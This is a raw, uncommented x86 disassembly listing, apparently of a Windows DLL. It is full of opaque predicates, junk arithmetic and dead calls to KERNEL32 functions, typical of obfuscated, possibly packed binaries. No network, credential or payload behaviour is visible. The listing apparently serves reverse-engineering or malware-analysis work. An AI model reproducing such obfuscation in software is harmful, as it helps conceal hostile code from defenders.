mov dword [ebp - 0x3f0], eax
mov esi, dword [ebp - 0x3f0]
push 0
lea ecx, [ebp - 0x968]
call fcn.1000bcff
cmp esi, dword [eax]
jl 0x1001c990
mov dword [ebp - 0x5e8], 1
jmp 0x1001c997
and dword [ebp - 0x5e8], 0
push 0
lea ecx, [ebp - 0x968]
call fcn.1000bcff
mov eax, dword [eax]
cmp eax, dword [ebp - 0x5e8]
jg 0x1001c9ba
mov dword [ebp - 0x868], 1
jmp 0x1001c9c1
and dword [ebp - 0x868], 0
cmp dword [ebp - 0x868], 7
jg 0x1001c9d6
mov dword [ebp - 0x5f0], 1
jmp 0x1001c9dd
and dword [ebp - 0x5f0], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xeb0]
cmp eax, dword [ebp - 0x5f0]
je 0x1001c9fe
mov dword [ebp - 0x798], 1
jmp 0x1001ca05
and dword [ebp - 0x798], 0
mov eax, dword [ebp - 0x798]
neg eax
cmp eax, 0xffffffff
jg 0x1001ca23
xor eax, eax
inc eax
je 0x1001ca23
mov dword [ebp - 0xba4], 1
jmp 0x1001ca2a
and dword [ebp - 0xba4], 0
push 1
lea ecx, [ebp - 0x918]
call fcn.1000bcff
mov eax, dword [ebp - 0x3f0]
mov dword [ebp - 0x9d8], eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x968]
call fcn.1000bce3
jmp 0x1001c714
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x918]
call fcn.1000bce3
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x1b4]
mov ecx, dword [ebp - 0x20]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x5f8], 0x1139
mov dword [ebp - 0x9e4], 0x10007bf4
cmp dword [ebp - 0x5f8], 0x14a4
jle 0x1001cb45
and dword [ebp - 0x244], 0
jmp 0x1001cab5
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0x733a
jge 0x1001cb45
and dword [ebp - 0x2fc], 0
jmp 0x1001cadb
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 0x17ca
jge 0x1001cb40
mov eax, dword [ebp - 0x244]
mov ecx, dword [ebp - 0x2fc]
shl eax, cl
cdq
mov dword [ebp - 0x9e0], eax
mov dword [ebp - 0x9dc], edx
push dword [ebp - 0x9dc]
push dword [ebp - 0x9e0]
lea ecx, [ebp - 0x1100]
call fcn.10009e8a
pop ecx
pop ecx
mov dword [ebp - 0xb3c], eax
mov ecx, dword [ebp - 0xb3c]
call fcn.1000bc56
push eax
call fcn.10054a60
pop ecx
lea ecx, [ebp - 0x1100]
call fcn.1000bc4c
jmp 0x1001cace
jmp 0x1001caa8
mov dword [ebp - 0x10c], 0xfffffffd
mov dword [ebp - 4], 0xe
cmp dword [ebp - 0x5f8], 0xef5
jge 0x1001cb6e
push dword [ebp - 0x9e4]
call fcn.10054a60
pop ecx
jmp 0x1001cb8a
or dword [ebp - 4], 0xffffffff
jmp 0x1001cb94
mov dword [ebp - 0x3c4], 0xdab551fa
mov dword [ebp - 0x870], 0x4137d6c5
push 1
lea ecx, [ebp - 0xcf0]
call fcn.1000bc61
mov dword [ebp - 4], 0x10
mov dword [ebp - 0xb84], 0xf758fc56
mov dword [ebp - 0xdf0], 0xd50fa8fa
mov dword [ebp - 0x48], 0
jmp 0x1001cbe0
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 2
jge 0x1001cbf6
mov eax, dword [ebp - 0x48]
mov dword [ebp + eax*4 - 0x9ec], 0x9bca7b5c
jmp 0x1001cbd9
mov dword [ebp - 0x48], 0
jmp 0x1001cc06
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 1
jge 0x1001cc22
push dword [ebp - 0x48]
lea ecx, [ebp - 0xcf0]
call fcn.1000bcff
mov dword [eax], 0x38ca
jmp 0x1001cbff
xor eax, eax
jne 0x1001cd3b
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0xdf8], eax
or eax, 0xffffffff
dec eax
imul eax, eax, 0xa1e1
imul eax, dword [ebp - 0x10c]
add eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x10c], eax
je 0x1001cc61
mov dword [ebp - 0x380], 1
jmp 0x1001cc68
and dword [ebp - 0x380], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x380]
mov dword [ebp + eax - 0x9ec], ecx
cmp dword [ebp - 0x380], 0
jne 0x1001cc9d
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x9ec], 0
jne 0x1001cc9d
and dword [ebp - 0x8d4], 0
jmp 0x1001cca7
mov dword [ebp - 0x8d4], 1
cmp dword [ebp - 0x8d4], 1
ja 0x1001ccbc
mov dword [ebp - 0x600], 1
jmp 0x1001ccc3
and dword [ebp - 0x600], 0
mov eax, dword [ebp - 0x10c]
add eax, dword [ebp - 0x600]
cmp eax, dword [ebp - 0x10c]
je 0x1001cce5
or eax, 0xffffffff
jne 0x1001cce5
and dword [ebp - 0x7a0], 0
jmp 0x1001ccef
mov dword [ebp - 0x7a0], 1
mov eax, dword [ebp - 0x7a0]
mov dword [ebp - 0x3c4], eax
cmp dword [ebp - 0x3c4], 0x4667
jne 0x1001cd13
mov dword [ebp - 0x608], 1
jmp 0x1001cd1a
and dword [ebp - 0x608], 0
cmp dword [ebp - 0x608], 0x93ba
jle 0x1001cd34
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x9ec], 0
cmp dword [ebp - 0x3c4], 0
mov dword [ebp - 0x870], 0xfffffffc
mov esi, dword [ebp - 0x870]
push 0
lea ecx, [ebp - 0xcf0]
call fcn.1000bcff
cmp esi, dword [eax]
jg 0x1001cd68
mov dword [ebp - 0x610], 1
jmp 0x1001cd6f
and dword [ebp - 0x610], 0
mov eax, dword [ebp - 0x610]
mov dword [ebp - 0xb84], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xcf0]
call fcn.1000bce3
jmp 0x1001c32d
mov dword [ebp - 0x2c4], 0xe1757117
push 3
lea ecx, [ebp - 0xee0]
call fcn.1000bc61
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x24c], 0
jmp 0x1001cdc6
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 3
jge 0x1001cde8
push dword [ebp - 0x24c]
lea ecx, [ebp - 0xee0]
call fcn.1000bcff
mov dword [eax], 0x5f1dbecc
jmp 0x1001cdb9
mov dword [ebp - 0x2c4], 0
jmp 0x1001ce01
mov eax, dword [ebp - 0x2c4]
inc eax
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0x1c
jle 0x1001cea2
mov dword [ebp - 0x254], 1
mov byte [ebp - 0xcd], 0
movzx eax, byte [ebp - 0xcd]
test eax, eax
je 0x1001ce36
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 0x254], 2
jmp 0x1001ce4f
mov eax, dword [ebp - 0x254]
dec eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0
jl 0x1001ce9d
mov dword [ebp - 0x31c], 0x64f14790
mov dword [ebp - 0x31c], 2
jmp 0x1001ce7b
mov eax, dword [ebp - 0x31c]
dec eax
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 0
jl 0x1001ce9b
mov dword [ebp - 0x9f0], 0xd63a
cmp dword [ebp - 0x9f0], 0
je 0x1001ce99
jmp 0x1001ce9b
jmp 0x1001ce6e
jmp 0x1001ce42
jmp 0x1001cdf4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xee0]
call fcn.1000bce3
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x180]
movzx eax, byte [ebp + eax - 0x1b6]
movsx eax, byte [ebp + eax - 0x978]
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0x1b3]
and ecx, eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x180]
movzx eax, byte [ebp + eax - 0x1b6]
movsx eax, byte [ebp + eax - 0x978]
mov edx, dword [ebp - 0x20]
movzx edx, byte [ebp + edx - 0x1b3]
and edx, eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x180]
movzx eax, byte [ebp + eax - 0x1b6]
movsx eax, byte [ebp + eax - 0x978]
mov esi, dword [ebp - 0x20]
movzx ebx, byte [ebp + esi - 0x1b3]
add ebx, eax
sub ebx, edx
sub ebx, ecx
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x1b4]
mov byte [ebp + eax - 0x978], bl
mov dword [ebp - 0x50], 0
jmp 0x1001cf49
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 3
jge 0x1001cf5f
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x1074], 3
jmp 0x1001cf42
mov dword [ebp - 0x50], 0
jmp 0x1001cf6f
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 4
jge 0x1001cf85
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0xbd0], 9
jmp 0x1001cf68
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xbd0], 2
jmp 0x1001cfb3
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xbd0]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xbd0], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xbd0], 0
jl 0x1001cfe6
mov byte [ebp - 0xba], 0
movzx eax, byte [ebp - 0xba]
test eax, eax
je 0x1001cfe4
push 0
push 0
push 0x3ef
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
jmp 0x1001cf98
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0xbd0]
add ecx, dword [ebp + eax - 0x1074]
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xbd0], ecx
and dword [ebp - 0x180], 0
jmp 0x1001c32d
push 2
lea ecx, [ebp - 0x350]
call fcn.1000bc61
mov dword [ebp - 4], 0x12
push 1
lea ecx, [ebp - 0x1c0]
call fcn.1000bc61
mov byte [ebp - 4], 0x13
push 1
lea ecx, [ebp - 0xd50]
call fcn.1000bc61
mov byte [ebp - 4], 0x14
push 3
lea ecx, [ebp - 0xcd8]
call fcn.1000bc61
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x638], 0x8fb6f85a
mov dword [ebp - 0x14], 0
jmp 0x1001d07a
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x1001d096
push dword [ebp - 0x14]
lea ecx, [ebp - 0x350]
call fcn.1000bcff
mov dword [eax], 0xfffa
jmp 0x1001d073
mov dword [ebp - 0x14], 0
jmp 0x1001d0a6
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
jge 0x1001d0c2
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1c0]
call fcn.1000bcff
mov dword [eax], 0x2ee76f50
jmp 0x1001d09f
mov dword [ebp - 0x14], 0
jmp 0x1001d0d2
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 1
jge 0x1001d0eb
push dword [ebp - 0x14]
lea ecx, [ebp - 0xd50]
call fcn.1000bcff
or dword [eax], 0xffffffff
jmp 0x1001d0cb
mov dword [ebp - 0x14], 0
jmp 0x1001d0fb
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 3
jge 0x1001d117
push dword [ebp - 0x14]
lea ecx, [ebp - 0xcd8]
call fcn.1000bcff
mov dword [eax], 8
jmp 0x1001d0f4
push 0
lea ecx, [ebp - 0x1c0]
call fcn.1000bcff
and dword [eax], 0
jmp 0x1001d14d
push 0
lea ecx, [ebp - 0x1c0]
call fcn.1000bcff
mov dword [ebp - 0x7a8], eax
mov eax, dword [ebp - 0x7a8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x7a8]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x1c0]
call fcn.1000bcff
cmp dword [eax], 1
jg 0x1001d3f2
mov dword [ebp - 0xe00], 0xef874ac
mov dword [ebp - 0xe08], 0xfffffffc
push 0
lea ecx, [ebp - 0x1c0]
call fcn.1000bcff
push dword [eax]
lea ecx, [ebp - 0x350]
call fcn.1000bcff
or eax, 0xffffffff
cmp eax, 0x3a4d
jg 0x1001d1a7
mov dword [ebp - 0xb44], 1
jmp 0x1001d1ae
and dword [ebp - 0xb44], 0
push 0
lea ecx, [ebp - 0x1c0]
call fcn.1000bcff
push 0
lea ecx, [ebp - 0x1c0]
call fcn.1000bcff
push dword [eax]
lea ecx, [ebp - 0x350]
call fcn.1000bcff
push 0
lea ecx, [ebp - 0x350]
call fcn.1000bcff
cmp dword [eax], 0
jne 0x1001d20f
push 0
lea ecx, [ebp - 0x1c0]
call fcn.1000bcff
push dword [eax]
lea ecx, [ebp - 0x350]
call fcn.1000bcff
cmp dword [eax], 0
jne 0x1001d20f
and dword [ebp - 0x618], 0
jmp 0x1001d219
mov dword [ebp - 0x618], 1
push 0
lea ecx, [ebp - 0x1c0]
call fcn.1000bcff
push dword [eax]
lea ecx, [ebp - 0x350]
call fcn.1000bcff
mov eax, dword [eax]
cmp eax, dword [ebp - 0x618]
jg 0x1001d249
mov dword [ebp - 0x894], 1
jmp 0x1001d250
and dword [ebp - 0x894], 0
cmp dword [ebp - 0x894], 0xb15a8df0
ja 0x1001d268
mov dword [ebp - 0x620], 1
jmp 0x1001d26f
and dword [ebp - 0x620], 0
push 0
lea ecx, [ebp - 0x1c0]
call fcn.1000bcff
push dword [eax]
lea ecx, [ebp - 0x350]
call fcn.1000bcff
mov ecx, dword [ebp - 0x620]
cmp ecx, dword [eax]
jge 0x1001d2be
push 0
lea ecx, [ebp - 0x1c0]
call fcn.1000bcff
push dword [eax]
lea ecx, [ebp - 0x350]
call fcn.1000bcff
cmp dword [eax], 0
je 0x1001d2be
mov dword [ebp - 0x7b0], 1
jmp 0x1001d2c5
and dword [ebp - 0x7b0], 0
cmp dword [ebp - 0x7b0], 0x540e
jle 0x1001d2dd
mov dword [ebp - 0x628], 1
jmp 0x1001d2e4
and dword [ebp - 0x628], 0
imul esi, dword [ebp - 0x628], 0xffff
push 1
lea ecx, [ebp - 0x350]
call fcn.1000bcff
cmp esi, dword [eax]
jl 0x1001d30b
mov dword [ebp - 0x878], 1
jmp 0x1001d312
and dword [ebp - 0x878], 0
push 0
lea ecx, [ebp - 0x1c0]
call fcn.1000bcff
mov ecx, dword [ebp - 0x878]
cmp ecx, dword [eax]
jg 0x1001d33e
mov eax, 0x78e60d74
test eax, eax
je 0x1001d33e
mov dword [ebp - 0x630], 1
jmp 0x1001d345
and dword [ebp - 0x630], 0
push 0
lea ecx, [ebp - 0x1c0]
call fcn.1000bcff
push dword [eax]
lea ecx, [ebp - 0x350]
call fcn.1000bcff
push 0
lea ecx, [ebp - 0xd50]
call fcn.1000bcff
mov ecx, dword [ebp - 0x630]
mov dword [eax], ecx
push 0
lea ecx, [ebp - 0x1c0]
call fcn.1000bcff
push dword [eax]
lea ecx, [ebp - 0x350]
call fcn.1000bcff
mov esi, dword [eax]
add esi, 3
push 0
lea ecx, [ebp - 0x1c0]
call fcn.1000bcff
push dword [eax]
lea ecx, [ebp - 0x350]
call fcn.1000bcff
mov eax, dword [eax]
sub eax, esi
cmp eax, 0xd170
jne 0x1001d3c4
mov dword [ebp - 0x7b8], 1
jmp 0x1001d3cb
and dword [ebp - 0x7b8], 0
push 2
lea ecx, [ebp - 0xcd8]
call fcn.1000bcff
mov ecx, dword [ebp - 0x7b8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x638]
dec eax
mov dword [ebp - 0x638], eax
jmp 0x1001d129
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0xcd8]
call fcn.1000bce3
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0xd50]
call fcn.1000bce3
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x1c0]
call fcn.1000bce3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x350]
call fcn.1000bce3
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0x978], 0
mov dword [ebp - 0x3f8], 0
mov dword [ebp - 0xbc0], 0xfffffffc
mov dword [ebp - 0x388], 0
mov dword [ebp - 0xe10], 0xa0e60f95
push 3
lea ecx, [ebp - 0xccc]
call fcn.1000bc61
mov dword [ebp - 4], 0x16
mov dword [ebp - 0xe18], 3
mov dword [ebp - 0x898], 0x3d188047
mov dword [ebp - 0xc30], 0xcc9c
mov dword [ebp - 0xc2c], 0xcc9c
mov dword [ebp - 0xc28], 0xcc9c
mov dword [ebp - 0xc24], 0xcc9c
lea ecx, [ebp - 0x3bd]
call fcn.1000bd0e
push eax
lea eax, [ebp - 0xc20]
push eax
lea eax, [ebp - 0xc30]
push eax
lea ecx, [ebp - 0x10c8]
call fcn.1000bd11
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xef0]
call fcn.1000bcbd
mov byte [ebp - 4], 0x17
mov dword [ebp - 0x9fc], 0xffffffff
mov dword [ebp - 0x264], 0
mov dword [ebp - 0x2cc], 0xffff
mov dword [ebp - 0x25c], 0
jmp 0x1001d524
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 3
jge 0x1001d546
push dword [ebp - 0x25c]
lea ecx, [ebp - 0xccc]
call fcn.1000bcff
mov dword [eax], 0x8876942a
jmp 0x1001d517
mov eax, dword [ebp - 0x898]
dec eax
mov dword [ebp - 0x898], eax
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
jne 0x1001d576
mov eax, dword [ebp - 0x2cc]
dec eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 0
cmp dword [ebp - 0x3f8], 0
je 0x1001d586
cmp dword [ebp - 0x2cc], 0
push 2
lea ecx, [ebp - 0xccc]
call fcn.1000bcff
mov dword [ebp - 0x640], eax
push 2
lea ecx, [ebp - 0xef0]
call fcn.1000bcff
mov ecx, dword [ebp - 0x640]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x640]
cmp dword [eax], 0x21dd8e18
jl 0x1001d5ca
mov dword [ebp - 0x7c0], 1
jmp 0x1001d5d1
and dword [ebp - 0x7c0], 0
mov eax, dword [ebp - 0x9fc]
cmp dword [ebp - 0x7c0], eax
jge 0x1001d5eb
mov dword [ebp - 0x648], 1
jmp 0x1001d5f2
and dword [ebp - 0x648], 0
cmp dword [ebp - 0x648], 0x9757
jl 0x1001d61c
mov eax, 0xfff8
test eax, eax
je 0x1001d61c
cmp dword [ebp - 0x388], 0
je 0x1001d61c
mov dword [ebp - 0x880], 1
jmp 0x1001d623
and dword [ebp - 0x880], 0
mov eax, dword [ebp - 0x880]
sub eax, dword [ebp - 0x3f8]
mov dword [ebp - 0x388], eax
mov eax, dword [ebp - 0x388]
add eax, dword [ebp - 0x264]
cmp dword [ebp - 0xbc0], eax
je 0x1001d655
mov dword [ebp - 0x650], 1
jmp 0x1001d65c
and dword [ebp - 0x650], 0
mov eax, dword [ebp - 0x650]
mov dword [ebp - 0x3f8], eax
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0xef0]
call fcn.1000bce3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xccc]
call fcn.1000bce3
lea eax, [ebp - 0x978]
push eax
lea ecx, [ebp - 0x116c]
call fcn.10022fd3
mov dword [ebp - 0xa08], eax
mov eax, dword [ebp - 0xa08]
mov dword [ebp - 0xb4c], eax
mov dword [ebp - 4], 0x18
mov edx, dword [ebp - 0x4dc]
mov ecx, dword [ebp - 0xb4c]
call fcn.1000d3f9
mov dword [0x10614b80], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x116c]
call fcn.10023002
mov dword [ebp - 0x12c], 0xfffffffd
mov dword [ebp - 0x3cc], 0xdab551fa
mov dword [ebp - 0x7d0], 0x4137d6c5
push 1
lea ecx, [ebp - 0xce4]
call fcn.1000bc61
mov dword [ebp - 4], 0x19
mov dword [ebp - 0xa14], 0xf758fc56
mov dword [ebp - 0xe20], 0xd50fa8fa
mov dword [ebp - 0x58], 0
jmp 0x1001d72c
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 2
jge 0x1001d742
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0x9f8], 0x9bca7b5c
jmp 0x1001d725
mov dword [ebp - 0x58], 0
jmp 0x1001d752
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 1
jge 0x1001d76e
push dword [ebp - 0x58]
lea ecx, [ebp - 0xce4]
call fcn.1000bcff
mov dword [eax], 0x38ca
jmp 0x1001d74b
xor eax, eax
jne 0x1001d887
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0xe28], eax
or eax, 0xffffffff
dec eax
imul eax, eax, 0xa1e1
imul eax, dword [ebp - 0x12c]
add eax, dword [ebp - 0x12c]
cmp dword [ebp - 0x12c], eax
je 0x1001d7ad
mov dword [ebp - 0x390], 1
jmp 0x1001d7b4
and dword [ebp - 0x390], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x390]
mov dword [ebp + eax - 0x9f8], ecx
cmp dword [ebp - 0x390], 0
jne 0x1001d7e9
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x9f8], 0
jne 0x1001d7e9
and dword [ebp - 0x7c8], 0
jmp 0x1001d7f3
mov dword [ebp - 0x7c8], 1
cmp dword [ebp - 0x7c8], 1
ja 0x1001d808
mov dword [ebp - 0x658], 1
jmp 0x1001d80f
and dword [ebp - 0x658], 0
mov eax, dword [ebp - 0x12c]
add eax, dword [ebp - 0x658]
cmp eax, dword [ebp - 0x12c]
je 0x1001d831
or eax, 0xffffffff
jne 0x1001d831
and dword [ebp - 0x8a0], 0
jmp 0x1001d83b
mov dword [ebp - 0x8a0], 1
mov eax, dword [ebp - 0x8a0]
mov dword [ebp - 0x3cc], eax
cmp dword [ebp - 0x3cc], 0x4667
jne 0x1001d85f
mov dword [ebp - 0x660], 1
jmp 0x1001d866
and dword [ebp - 0x660], 0
cmp dword [ebp - 0x660], 0x93ba
jle 0x1001d880
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x9f8], 0
cmp dword [ebp - 0x3cc], 0
mov dword [ebp - 0x7d0], 0xfffffffc
mov esi, dword [ebp - 0x7d0]
push 0
lea ecx, [ebp - 0xce4]
call fcn.1000bcff
cmp esi, dword [eax]
jg 0x1001d8b4
mov dword [ebp - 0x668], 1
jmp 0x1001d8bb
and dword [ebp - 0x668], 0
mov eax, dword [ebp - 0x668]
mov dword [ebp - 0xa14], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xce4]
call fcn.1000bce3
and dword [ebp - 0x2d4], 0
jmp 0x1001d8ec
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 0xe
jae 0x1001dddc
mov dword [ebp - 0xdc], 0xce57bf5c
mov dword [ebp - 0xa28], 0xd76ce4a6
mov dword [ebp - 0x688], 0x83560277
mov dword [ebp - 0x678], 0x6311
mov dword [ebp - 0x670], 0x9ec499e9
mov dword [ebp - 0x7e8], 0xfffffff6
mov dword [ebp - 0xa20], 1
or dword [ebp - 0xc44], 0xffffffff
or dword [ebp - 0xc40], 0xffffffff
or dword [ebp - 0xc3c], 0xffffffff
or dword [ebp - 0xc38], 0xffffffff
lea ecx, [ebp - 0x3e9]
call fcn.1000bd0e
push eax
lea eax, [ebp - 0xc34]
push eax
lea eax, [ebp - 0xc44]
push eax
lea ecx, [ebp - 0x10e0]
call fcn.1000bd11
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xf10]
call fcn.1000bcbd
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0x60], 0
jmp 0x1001d9a7
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 4
jge 0x1001d9bd
mov eax, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0x988], 0x4aa0
jmp 0x1001d9a0
mov dword [ebp - 0x60], 0
jmp 0x1001d9cd
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 1
jge 0x1001d9e3
mov eax, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0x26c], 0xbf0ddd9c
jmp 0x1001d9c6
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0xe30], eax
cmp dword [ebp - 0xdc], 0x5c7a
jl 0x1001da07
mov dword [ebp - 0xb8c], 1
jmp 0x1001da0e
and dword [ebp - 0xb8c], 0
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0xe38], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x988], 0
je 0x1001da7e
mov dword [ebp - 0xe40], 0xf2d3
mov dword [ebp - 0xe48], 3
mov dword [ebp - 0x888], 5
mov dword [ebp - 0xdc], 0
jmp 0x1001da61
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0x18
jg 0x1001da79
mov eax, dword [ebp - 0x888]
dec eax
mov dword [ebp - 0x888], eax
jmp 0x1001da54
jmp 0x1001dbe3
mov dword [ebp - 0xe50], 0
mov dword [ebp - 0xe58], 0
mov dword [ebp - 0xe60], 0x6eab3cf8
mov dword [ebp - 0xe68], 0x3d5943e2
mov dword [ebp - 0xe70], 0xc6a37d7c
mov dword [ebp - 0xe78], 7
mov dword [ebp - 0xe80], 0x5ff44426
mov dword [ebp - 0xe88], 9
mov dword [ebp - 0xe90], 0xe5ec3521
mov dword [ebp - 0xe98], 0xffffffff
mov dword [ebp - 0xea0], 0xbc698dc5
mov dword [ebp - 0xeb8], 0
mov dword [ebp - 0xec0], 0xffffffff
mov dword [ebp - 0xec8], 0xe289aa50
mov dword [ebp - 0xed0], 0x6a81d68c
mov dword [ebp - 0xf60], 3
mov dword [ebp - 0xf68], 6
mov dword [ebp - 0xf70], 0x89d68482
mov dword [ebp - 0xf78], 1
mov dword [ebp - 0xf80], 0xe13c9534
mov dword [ebp - 0xf88], 0xffffffff
mov dword [ebp - 0xf90], 0xb8f3be
mov dword [ebp - 0xf98], 0x7a95534f
push 2
lea ecx, [ebp - 0xf00]
call fcn.1000bc61
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0x7d8], 0x7eca
mov dword [ebp - 0x304], 0
jmp 0x1001db98
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 2
jge 0x1001dbba
push dword [ebp - 0x304]
lea ecx, [ebp - 0xf00]
call fcn.1000bcff
mov dword [eax], 0x6946cb4
jmp 0x1001db8b
mov eax, dword [ebp - 0x670]
dec eax
mov dword [ebp - 0x670], eax
mov eax, dword [ebp - 0x7d8]
dec eax
mov dword [ebp - 0x7d8], eax
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0xf00]
call fcn.1000bce3
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x988]
mov dword [ebp - 0xfa0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x26c]
cmp eax, dword [ebp - 0x678]
jle 0x1001dc16
mov dword [ebp - 0x890], 1
jmp 0x1001dc1d
and dword [ebp - 0x890], 0
mov dword [ebp - 0xa20], 0x1b3dfa8d
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x678]
cmp ecx, dword [ebp + eax - 0x988]
jge 0x1001dc48
mov dword [ebp - 0x8a8], 1
jmp 0x1001dc4f
and dword [ebp - 0x8a8], 0
mov eax, dword [ebp - 0x7e8]
cmp dword [ebp - 0x8a8], eax
je 0x1001dc69
mov dword [ebp - 0x680], 1
jmp 0x1001dc70
and dword [ebp - 0x680], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x26c]
cmp dword [ebp - 0x680], eax
jg 0x1001dc9e
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x988], 0
jne 0x1001dc9e
and dword [ebp - 0x7e0], 0
jmp 0x1001dca8
mov dword [ebp - 0x7e0], 1
mov eax, dword [ebp - 0x7e0]
mov dword [ebp - 0x688], eax
cmp dword [ebp - 0x688], 0
je 0x1001dcd9
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x988], 0
je 0x1001dcd9
mov dword [ebp - 0x690], 1
jmp 0x1001dce0
and dword [ebp - 0x690], 0
mov eax, dword [ebp - 0x890]
cmp eax, dword [ebp - 0x690]
je 0x1001dcfa
mov dword [ebp - 0x698], 1
jmp 0x1001dd01
and dword [ebp - 0x698], 0
mov eax, dword [ebp - 0x7e8]
cmp dword [ebp - 0x698], eax
jl 0x1001dd1b
mov dword [ebp - 0x8b0], 1
jmp 0x1001dd22
and dword [ebp - 0x8b0], 0
push 0
